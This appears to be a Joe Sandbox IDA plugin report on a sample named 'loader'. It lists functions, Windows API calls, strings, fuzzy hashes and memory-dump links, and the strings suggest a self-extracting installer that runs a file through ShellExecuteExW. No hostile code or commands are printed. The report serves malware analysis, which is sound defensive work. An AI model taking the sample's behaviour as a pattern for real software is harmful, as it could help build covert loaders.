Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ca25c04729dd8d9882d3feb0495ca5edf9aa1ea9072dc016ae190078155826b
Instruction ID: 0b0caa5aaf87098a6f0b1ed688663a7f3ac07909dff6ce204fa9b3ae2b0ff0d0
Opcode Fuzzy Hash: 7ca25c04729dd8d9882d3feb0495ca5edf9aa1ea9072dc016ae190078155826b
Instruction Fuzzy Hash: 24E04F31000248ABCF01AF10ED0A9897F6BEB00342F005458FC059A232CB75DE59CA94

Function 00640863 Relevance: 128.1, APIs: 4, Strings: 69, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,?,|<f,00000800,?,00000000,?,00000800), ref: 00640C9C
_swprintf.LIBCMT ref: 00640D4A
_swprintf.LIBCMT ref: 00640D96

Part of subcall function 00634092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006340A5

_wcslen.LIBCMT ref: 00640DC4

Strings

aclui.dll, xrefs: 00640B27
usp10.dll, xrefs: 0064093F
apphelp.dll, xrefs: 0064098F
samcli.dll, xrefs: 00640AA3
shell32.dll, xrefs: 006409D2
samlib.dll, xrefs: 00640AAE
iphlpapi.DLL, xrefs: 00640A56
ieframe.dll, xrefs: 0064096F
WINNSI.DLL, xrefs: 00640A61
comres.dll, xrefs: 0064094F
ws2_32.dll, xrefs: 00640957
DXGIDebug.dll, xrefs: 006408FC, 00640C5E
peerdist.dll, xrefs: 00640B3D
cryptsp.dll, xrefs: 00640B11
cryptbase.dll, xrefs: 0064092F
rasadhlp.dll, xrefs: 00640ADA
ntmarta.dll, xrefs: 006409FE
uxtheme.dll, xrefs: 00640D17
srvcli.dll, xrefs: 00640A1F
oleaccrc.dll, xrefs: 006409F3
ws2help.dll, xrefs: 0064095F
linkinfo.dll, xrefs: 00640B06
cryptui.dll, xrefs: 006409BF
sfc_os.dll, xrefs: 00640904
WindowsCodecs.dll, xrefs: 00640A14
dhcpcsvc6.dll, xrefs: 00640AE5
atl.dll, xrefs: 0064097F
SetDefaultDllDirectories, xrefs: 006408B9
cabinet.dll, xrefs: 006409E8
psapi.dll, xrefs: 00640967
SSPICLI.DLL, xrefs: 0064090F
D=f, xrefs: 00640CB9, 00640CC9
ntshrui.dll, xrefs: 00640977
lpk.dll, xrefs: 00640937
setupapi.dll, xrefs: 00640987
mpr.dll, xrefs: 00640A77
devrtl.dll, xrefs: 00640A82
netapi32.dll, xrefs: 0064099F
userenv.dll, xrefs: 00640997
rsaenh.dll, xrefs: 00640917
slc.dll, xrefs: 00640A35
wkscli.dll, xrefs: 00640AB9
XmlLite.dll, xrefs: 00640AFB
secur32.dll, xrefs: 006409DD
dnsapi.DLL, xrefs: 00640A4B
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00640D84
kernel32, xrefs: 00640873
wintrust.dll, xrefs: 006409C7
crypt32.dll, xrefs: 006409AF
dwmapi.dll, xrefs: 00640927, 00640D0D
clbcatq.dll, xrefs: 00640947
UXTheme.dll, xrefs: 0064091F
netutils.dll, xrefs: 00640A6C
|<f, xrefs: 00640C7D, 00640C50, 00640B9E, 00640BA2, 00640C8D, 00640D31, 00640D83
dhcpcsvc.dll, xrefs: 00640AF0
mlang.dll, xrefs: 00640A98
,<f, xrefs: 006408E7
dsrole.dll, xrefs: 00640B32
msasn1.dll, xrefs: 006409B7
SetDllDirectoryW, xrefs: 00640888
browcli.dll, xrefs: 00640ACF
dfscli.dll, xrefs: 00640AC4
RpcRtRemote.dll, xrefs: 00640B1C
version.dll, xrefs: 006408EF
shdocvw.dll, xrefs: 006409A7
cscapi.dll, xrefs: 00640A2A
propsys.dll, xrefs: 00640A8D
profapi.dll, xrefs: 00640A09
imageres.dll, xrefs: 00640A40

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _swprintf$AttributesFile__vswprintf_c_l_wcslen
String ID: ,<f$D=f$DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll$|<f
API String ID: 2834821262-3323918312
Opcode ID: e42549ad0689bb52e80ba9c614a8cbc173843e4b4308347d17e8187fdec4577b
Instruction ID: 5319171e34d8289c628792532dee11081f478c3d28036bc5a35f324c8b11877c
Opcode Fuzzy Hash: e42549ad0689bb52e80ba9c614a8cbc173843e4b4308347d17e8187fdec4577b
Instruction Fuzzy Hash: D2D161B14083A4AFD7219F50C989BDFBEEFAF85704F50491DF28596350CBB18648CBA6

Function 0064C73F Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0064C744

Part of subcall function 0064AF98: _wcschr.LIBVCRUNTIME ref: 0064B033

_wcslen.LIBCMT ref: 0064CA0A
_wcslen.LIBCMT ref: 0064CA13
SetWindowTextW.USER32(?,?), ref: 0064CA71
_wcslen.LIBCMT ref: 0064CAB3
_wcsrchr.LIBVCRUNTIME ref: 0064CBFB
GetDlgItem.USER32(?,00000066), ref: 0064CC36
SetWindowTextW.USER32(00000000,?), ref: 0064CC46
SendMessageW.USER32(00000000,00000143,00000000,0067A472), ref: 0064CC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0064CC7F

Strings

<d, xrefs: 0064C909
%s.%d.tmp, xrefs: 0064C940
ProgramFilesDir, xrefs: 0064CB45
Software\Microsoft\Windows\CurrentVersion, xrefs: 0064CB1A
<br>, xrefs: 0064C9D4
d, xrefs: 0064CB24

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$H_prologItem_wcschr_wcsrchr
String ID: %s.%d.tmp$<br>$<d$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$d
API String ID: 3356938749-288287190
Opcode ID: 78e9c63b7839bddd5d9f97526a3ea8ca45d4c3b7025584afa2dbc9191a7d8738
Instruction ID: c0d8a3179d076f54485abc823ec3aeff0f5e6b24534fe7b0567a1c0d184142ee
Opcode Fuzzy Hash: 78e9c63b7839bddd5d9f97526a3ea8ca45d4c3b7025584afa2dbc9191a7d8738
Instruction Fuzzy Hash: DFE16472D00128AADB65DBA4DD85DEE73BEEB05350F0040AAF649E3250EF749F848F64

Function 0063DA67 Relevance: 30.4, APIs: 4, Strings: 13, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0063DA70
_wcschr.LIBVCRUNTIME ref: 0063DA91

Part of subcall function 0063C29A: _wcslen.LIBCMT ref: 0063C2A2

Part of subcall function 006405DA: _wcslen.LIBCMT ref: 006405E0

_wcslen.LIBCMT ref: 0063DDE9
__fprintf_l.LIBCMT ref: 0063DF1C

Strings

*messages***, xrefs: 0063DBFA
RTL, xrefs: 0063DEDE
,, xrefs: 0063DF57
MENU, xrefs: 0063DDD7
a, xrefs: 0063DC16
$%s:, xrefs: 0063DEFF
R, xrefs: 0063DC0C
, xrefs: 0063DD6C
DIRECTION, xrefs: 0063DDDE
*messages***, xrefs: 0063DBC1
STRINGS, xrefs: 0063DDC9
@%s:, xrefs: 0063DF06, 0063DF12
DIALOG, xrefs: 0063DDD0

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcslen$H_prolog__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$R$RTL$STRINGS$a
API String ID: 1810648836-2415259559
Opcode ID: 2bd1205c545f0a081dee8f87e9f90cf2489cd517aaa2bd79816e723756b45b41
Instruction ID: c7a7809f0e67f52574d60497dd6d4e430e4856e86104172ea221da44d4eb94bf
Opcode Fuzzy Hash: 2bd1205c545f0a081dee8f87e9f90cf2489cd517aaa2bd79816e723756b45b41
Instruction Fuzzy Hash: E732C171900218EBDF28EF68D842BEE77AAFF14704F40055AF90597291E7B2DD85CBA4

Function 0064D4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0064B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0064B579
Part of subcall function 0064B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0064B58A
Part of subcall function 0064B568: IsDialogMessageW.USER32(00010406,?), ref: 0064B59E
Part of subcall function 0064B568: TranslateMessage.USER32(?), ref: 0064B5AC
Part of subcall function 0064B568: DispatchMessageW.USER32(?), ref: 0064B5B6

GetDlgItem.USER32(00000068,0068FCB8), ref: 0064D4E8
ShowWindow.USER32(00000000,00000005,?,?,?,0064AF07,00000001,?,?,0064B7B9,0066506C,0068FCB8,0068FCB8,00001000,00000000,00000000), ref: 0064D510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0064D51B
SendMessageW.USER32(00000000,000000C2,00000000,006635F4), ref: 0064D529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0064D53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0064D559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0064D59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0064D5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0064D5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0064D5E1
SendMessageW.USER32(00000000,000000C2,00000000,006643F4), ref: 0064D5F0

Strings

\, xrefs: 0064D549

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: aefb5fbe13fdebff8a82c2bf2a4195b2a74b01e6717d755c7b26480d7ab0afcf
Instruction ID: b54edbadf7ecad1da740ca95cdd75f3c9b5f0fd4f4f35318459fde9c77997c0a
Opcode Fuzzy Hash: aefb5fbe13fdebff8a82c2bf2a4195b2a74b01e6717d755c7b26480d7ab0afcf
Instruction Fuzzy Hash: 4531D471145352BFE301DF20DC4AFAB7FAEEB86708F000509F551962A0EB659A04CB7A

Function 0064D78F Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0064D7AE
ShellExecuteExW.SHELL32(?), ref: 0064D8DE
ShowWindow.USER32(?,00000000), ref: 0064D91D
ShowWindow.USER32(?,00000001), ref: 0064D9E1

Strings

hd, xrefs: 0064D92E
Install, xrefs: 0064D8A9
rd, xrefs: 0064D911
.inf, xrefs: 0064D89A
.exe, xrefs: 0064D989

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: ShowWindow$ExecuteShell_wcslen
String ID: .exe$.inf$Install$hd$rd
API String ID: 855908426-4153170921
Opcode ID: 27cd10ef76339ffbad92ceeec6748f8e6f89b2ac2fbd085fc258e0a7fb5cb403
Instruction ID: e4cf7f1cafcd4b9fd253f9ffd5a79391be8ce996ff51956d95c1001398eeb4b9
Opcode Fuzzy Hash: 27cd10ef76339ffbad92ceeec6748f8e6f89b2ac2fbd085fc258e0a7fb5cb403
Instruction Fuzzy Hash: 9651A170904380AEDB219F249845BFBBBE7AF82744F04181EF9C5D73A1E7718A85CB52

Function 0064B568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0064B579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0064B58A
IsDialogMessageW.USER32(00010406,?), ref: 0064B59E
TranslateMessage.USER32(?), ref: 0064B5AC
DispatchMessageW.USER32(?), ref: 0064B5B6

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: cc08f88f4295828b36afb2cc00555593f44addf4a4b81c048a9c4b25c68160f4
Instruction ID: 53a5fc5712cf306f14c791253dd15ad0b6251f220926637b7e19e7b3de904bfa
Opcode Fuzzy Hash: cc08f88f4295828b36afb2cc00555593f44addf4a4b81c048a9c4b25c68160f4
Instruction Fuzzy Hash: F3F0D071A0122AAB8B249FE5DC4DDDBBFBDEE053917005416B519D2210EB74D605CBB0

Function 0064ABAB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0064ABC2
FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0064ABE9
SHAutoComplete.SHLWAPI(?,00000010), ref: 0064ABF9

Strings

EDIT, xrefs: 0064ABCD, 0064ABD8, 0064ABE5

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: AutoClassCompleteFindNameWindow
String ID: EDIT
API String ID: 1162832696-3080729518
Opcode ID: 882e5e3329efd4aaeb1a32e61e95b92a5501dce59b03f7c2eb843b299596e15b
Instruction ID: c7164ff454fdd491f5bcf9c6044897fd5326da1335ad5fba1c7ffd2ca28e0b89
Opcode Fuzzy Hash: 882e5e3329efd4aaeb1a32e61e95b92a5501dce59b03f7c2eb843b299596e15b
Instruction Fuzzy Hash: D7F0823664122876DB305A649C0AFEB76AE9B46B40F484016BA05E62C0DB60DE4585BA

Function 0064AC16 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 0064AC2F
SHGetMalloc.SHELL32(00678438), ref: 0064AC70

Strings

riched20.dll, xrefs: 0064AC1E

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: InitializeMalloc
String ID: riched20.dll
API String ID: 48681180-3360196438
Opcode ID: d06162457e48745bddec1089230f9e8bf27f2013c629d024bda3f4fade9be4da
Instruction ID: 4d5603d5b599c23a7505a784576e2ff63f777f95c66ae485ab10d3898a0535ab
Opcode Fuzzy Hash: d06162457e48745bddec1089230f9e8bf27f2013c629d024bda3f4fade9be4da
Instruction Fuzzy Hash: F8F067B1D00219AFCB10AFAAD9499EFFFFEEF84700F00405AE815E2201CBB456058FA0

Function 0064DBDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxpar,00000000), ref: 0064DC30

Strings

sfxpar, xrefs: 0064DC2B
sfxcmd, xrefs: 0064DBEF

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 63f053bf23616df560d7b7c26de1e25c3e1b12f21cdd34b8974c89c747846d59
Instruction ID: e21d002d665ccba81cd5e05b56583e028d31fc97a0c005664718c343c114de45
Opcode Fuzzy Hash: 63f053bf23616df560d7b7c26de1e25c3e1b12f21cdd34b8974c89c747846d59
Instruction Fuzzy Hash: 5BF0E5B2804234ABDB202FD58C46BFABB9FAF06B81B040415FE8696251E6F08940D6B4

Function 0065A95B Relevance: 4.7, APIs: 3, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 0065AB42
__freea.LIBCMT ref: 0065AB4B
__freea.LIBCMT ref: 0065AB70

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

